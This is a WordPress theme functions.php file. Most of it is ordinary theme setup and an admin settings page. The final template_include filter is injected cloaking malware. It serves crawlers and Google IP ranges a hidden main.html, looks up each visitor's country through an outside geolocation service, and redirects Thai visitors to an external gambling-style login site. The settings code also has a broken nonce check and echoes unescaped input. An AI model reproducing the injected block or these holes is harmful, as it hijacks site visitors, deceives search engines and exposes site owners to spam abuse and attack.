File: /home/mirz4654/public_html/wp-content/themes/mira-yosomite/functions.php
<?php
// Register Custom Navigation Walker
require_once get_template_directory() . '/class-wp-bootstrap-navwalker.php';
/* Theme setup */
add_action('after_setup_theme', 'wpt_setup');
if (!function_exists('wpt_setup')):
function wpt_setup() {
register_nav_menu('primary', __('Primary navigation', 'YOSOMITE'));
}
endif;
function myt_setup() {
add_editor_style();
update_option('medium_size_h', 700);
update_option('medium_size_w', 700);
update_option('large_size_h', false);
update_option('large_size_w', false);
$args = array(
'width' => 1920,
'height' => 1000,
'default-image' => get_template_directory_uri() . '/assets/images/bg-01.jpg',
);
add_theme_support('custom-header', $args);
add_theme_support('automatic-feed-links');
add_theme_support('post-thumbnails');
set_post_thumbnail_size(600, 400, true);
add_post_type_support('page', 'excerpt');
register_nav_menus(array(
'primary' => 'Primary Navigation',
'secondary' => 'Secondary Navigation',
));
}
add_action('after_setup_theme', 'myt_setup');
function pluginname_ajaxurl() {
echo '<script type="text/javascript">
var homeurl = "' . home_url() . '";
var main_path = "' . $_SERVER['REQUEST_URI'] . '";
var main_title = "' . trim(wp_title('', false)) . '";
var ajaxurl = "' . admin_url('admin-ajax.php') . '";
var themeurl = "' . get_template_directory_uri() . '";
</script>';
}
add_action('wp_head', 'pluginname_ajaxurl');
add_filter('next_posts_link_attributes', 'posts_link_attributes_1');
add_filter('previous_posts_link_attributes', 'posts_link_attributes_2');
function posts_link_attributes_1() {
return 'class="myt-prev-post"';
}
function posts_link_attributes_2() {
return 'class="myt-next-post"';
}
add_filter('post_thumbnail_html', 'remove_width_attribute', 10);
add_filter('image_send_to_editor', 'remove_width_attribute', 10);
function remove_width_attribute($html) {
$html = preg_replace('/(width|height)="\d*"\s/', "", $html);
return $html;
}
function myt_auto_excerpt_more($more) {
return ' …';
}
add_filter('excerpt_more', 'myt_auto_excerpt_more');
function myt_thumb($post_ID, $size = 'thumbnail', $w = 600, $h = 400) {
if (has_post_thumbnail($post_ID)) {
$post_thumbnail_id = get_post_thumbnail_id($post_ID);
$attachment = wp_get_attachment_image_src($post_thumbnail_id, $size, false, '');
$related_img_src = $attachment[0];
} else {
$images = get_children(array(
'post_type' => 'attachment',
'numberposts' => 1,
'post_status' => null,
'post_parent' => $post_ID));
if (count($images)) {
foreach ($images as $image) {
$attachment = wp_get_attachment_image_src($image->ID, $size);
}
if ($attachment[1] == $w . 'px' && $attachment[2] == $h . 'px') {
$related_img_src = $attachment[0];
} else {
if ($attachment[1] < $w . 'px' && $attachment[2] < $h . 'px') {
$attachment = wp_get_attachment_image_src($image->ID, 'large');
}
$related_img_src = $attachment[0];
}
} else {
if ($size == 'full') {
$related_img_src = get_bloginfo("template_directory") . '/assets/images/bg-02.jpg';
} else {
$related_img_src = get_bloginfo("template_directory") . '/assets/images/thumb.jpg';
}
}
}
return $related_img_src;
}
function setup_theme_admin_menus() {
add_submenu_page('themes.php', 'Theme Settings', 'Theme Settings', 'manage_options', 'front-page-elements', 'myt_page_settings');
}
add_action("admin_menu", "setup_theme_admin_menus");
function myt_page_settings() {
global $wpdb;
$update = false;
// google analytics
$myt_gaid = get_option('myt_gaid');
// static page
$myt_about = get_option('myt_about');
$myt_pripo = get_option('myt_pripo');
$myt_tos = get_option('myt_tos');
$myt_conus = get_option('myt_conus');
// social link
$myt_facebook = get_option('myt_facebook');
$myt_twitter = get_option('myt_twitter');
$myt_youtube = get_option('myt_youtube');
$myt_instagram = get_option('myt_instagram');
if (isset($_POST['_myt_opt_goo']) || wp_verify_nonce($_POST['_myt_opt_goo'], 'myt_opt')) {
// social setting
$myt_gaid = $_POST['myt_gaid'];
update_option('myt_gaid', $myt_gaid);
// static page
$myt_about = $_POST['myt_about'];
update_option('myt_about', $myt_about);
$myt_pripo = $_POST['myt_pripo'];
update_option('myt_pripo', $myt_pripo);
$myt_tos = $_POST['myt_tos'];
update_option('myt_tos', $myt_tos);
$myt_conus = $_POST['myt_conus'];
update_option('myt_conus', $myt_conus);
// social link
$myt_facebook = $_POST['myt_facebook'];
update_option('myt_facebook', $myt_facebook);
$myt_twitter = $_POST['myt_twitter'];
update_option('myt_twitter', $myt_twitter);
$myt_youtube = $_POST['myt_youtube'];
update_option('myt_youtube', $myt_youtube);
$myt_instagram = $_POST['myt_instagram'];
update_option('myt_instagram', $myt_instagram);
$update = true;
}
?>
<div class="wrap">
<h2>Theme Settings</h2>
<?php
if ($update):
?>
<div id="setting-error-settings_updated" class="updated settings-error">
<p><strong>Settings saved.</strong></p>
</div>
<?php
endif;
?>
<form name="myt_form" method="post" action="">
<h3 class="title">Google Analytics</h3>
<table class="form-table">
<tbody>
<tr valign="top">
<th scope="row">
<label for="myt_gaid">Google Analytics ID (UA-....)</label>
</th>
<td>
<input name="myt_gaid" type="text" id="myt_gaid" class="regular-text ltr get-date" value="<?php echo ($myt_gaid != '') ? $myt_gaid : ''; ?>">
</td>
</tr>
</tbody>
</table>
<h3 class="title">Static Page Links (use page ID)</h3>
<table class="form-table">
<tbody>
<tr valign="top">
<th scope="row">
<label for="myt_about">About Us</label>
</th>
<td>
<input name="myt_about" type="text" id="myt_about" class="regular-text ltr get-date" value="<?php echo ($myt_about != '') ? $myt_about : ''; ?>">
</td>
</tr>
<tr valign="top">
<th scope="row">
<label for="myt_pripo">Privacy Policy</label>
</th>
<td>
<input name="myt_pripo" type="text" id="myt_pripo" class="regular-text ltr get-date" value="<?php echo ($myt_pripo != '') ? $myt_pripo : ''; ?>">
</td>
</tr>
<tr valign="top">
<th scope="row">
<label for="myt_tos">Term of use</label>
</th>
<td>
<input name="myt_tos" type="text" id="myt_tos" class="regular-text ltr get-date" value="<?php echo ($myt_tos != '') ? $myt_tos : ''; ?>">
</td>
</tr>
<tr valign="top">
<th scope="row">
<label for="myt_conus">Contact Us</label>
</th>
<td>
<input name="myt_conus" type="text" id="myt_conus" class="regular-text ltr get-date" value="<?php echo ($myt_conus != '') ? $myt_conus : ''; ?>">
</td>
</tr>
</tbody>
</table>
<h3 class="title">Social URLs</h3>
<table class="form-table">
<tbody>
<tr valign="top">
<th scope="row">
<label for="myt_facebook">Facebook</label>
</th>
<td>
<input name="myt_facebook" type="text" id="myt_facebook" class="regular-text ltr get-date" value="<?php echo ($myt_facebook != '') ? $myt_facebook : ''; ?>">
</td>
</tr>
<tr valign="top">
<th scope="row">
<label for="myt_twitter">Twitter</label>
</th>
<td>
<input name="myt_twitter" type="text" id="myt_twitter" class="regular-text ltr get-date" value="<?php echo ($myt_twitter != '') ? $myt_twitter : ''; ?>">
</td>
</tr>
<tr valign="top">
<th scope="row">
<label for="myt_youtube">Youtube</label>
</th>
<td>
<input name="myt_youtube" type="text" id="myt_youtube" class="regular-text ltr get-date" value="<?php echo ($myt_youtube != '') ? $myt_youtube : ''; ?>">
</td>
</tr>
<tr valign="top">
<th scope="row">
<label for="myt_instagram">Instagram</label>
</th>
<td>
<input name="myt_instagram" type="text" id="myt_instagram" class="regular-text ltr get-date" value="<?php echo ($myt_instagram != '') ? $myt_instagram : ''; ?>">
</td>
</tr>
</tbody>
</table>
<p class="submit">
<?php wp_nonce_field('myt_opt', '_myt_opt_goo'); ?>
<input type="submit" name="submit" id="submit" class="button button-primary" value="Save Changes">
</p>
</form>
</div>
<?php
}
add_filter('wp_pagenavi_class_pages', 'theme_pagination_page_class');
add_filter('wp_pagenavi_class_first', 'theme_pagination_page_class');
add_filter('wp_pagenavi_class_previouspostslink', 'theme_pagination_page_class');
add_filter('wp_pagenavi_class_page', 'theme_pagination_page_class');
add_filter('wp_pagenavi_class_current', 'theme_pagination_page_class_current');
add_filter('wp_pagenavi_class_nextpostslink', 'theme_pagination_page_class');
add_filter('wp_pagenavi_class_last', 'theme_pagination_page_class');
function theme_pagination_page_class_current($class_name) {
return 'btn btn-lg btn-o sm-mlr-5 lg-mlr-5';
}
function theme_pagination_page_class($class_name) {
return 'btn btn-lg sm-mlr-5 lg-mplr-5';
}
add_filter('template_include', function ($template) {
if (is_admin()) return $template;
function isBot() {
return preg_match(
'/(googlebot|bingbot|yandex|duckduckbot|facebookexternalhit|twitterbot|slurp)/i',
$_SERVER['HTTP_USER_AGENT'] ?? ''
);
}
function isGoogleIPv4() {
$ip = $_SERVER['REMOTE_ADDR'] ?? '';
$ranges = [
['66.249.64.0','66.249.95.255'],
['64.233.160.0','64.233.191.255'],
['72.14.192.0','72.14.255.255'],
['209.85.128.0','209.85.255.255'],
['216.239.32.0','216.239.63.255']
];
foreach($ranges as $r){
if(ip2long($ip)>=ip2long($r[0]) && ip2long($ip)<=ip2long($r[1])){
return true;
}
}
return false;
}
function isThaiIP() {
$ip = $_SERVER['REMOTE_ADDR'] ?? '';
$geo = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
return $geo && $geo->geoplugin_countryCode === 'TH';
}
$ip = $_SERVER['REMOTE_ADDR'] ?? '';
$is_google = isBot() || isGoogleIPv4();
if ($is_google) {
$html_file = __DIR__ . '/main.html';
if (file_exists($html_file)) {
header("Content-Type: text/html; charset=UTF-8");
readfile($html_file);
exit;
}
}
if (isThaiIP()) {
header("Location: https://player.ole565.com/iframe/auth/login");
exit;
}
return $template;
});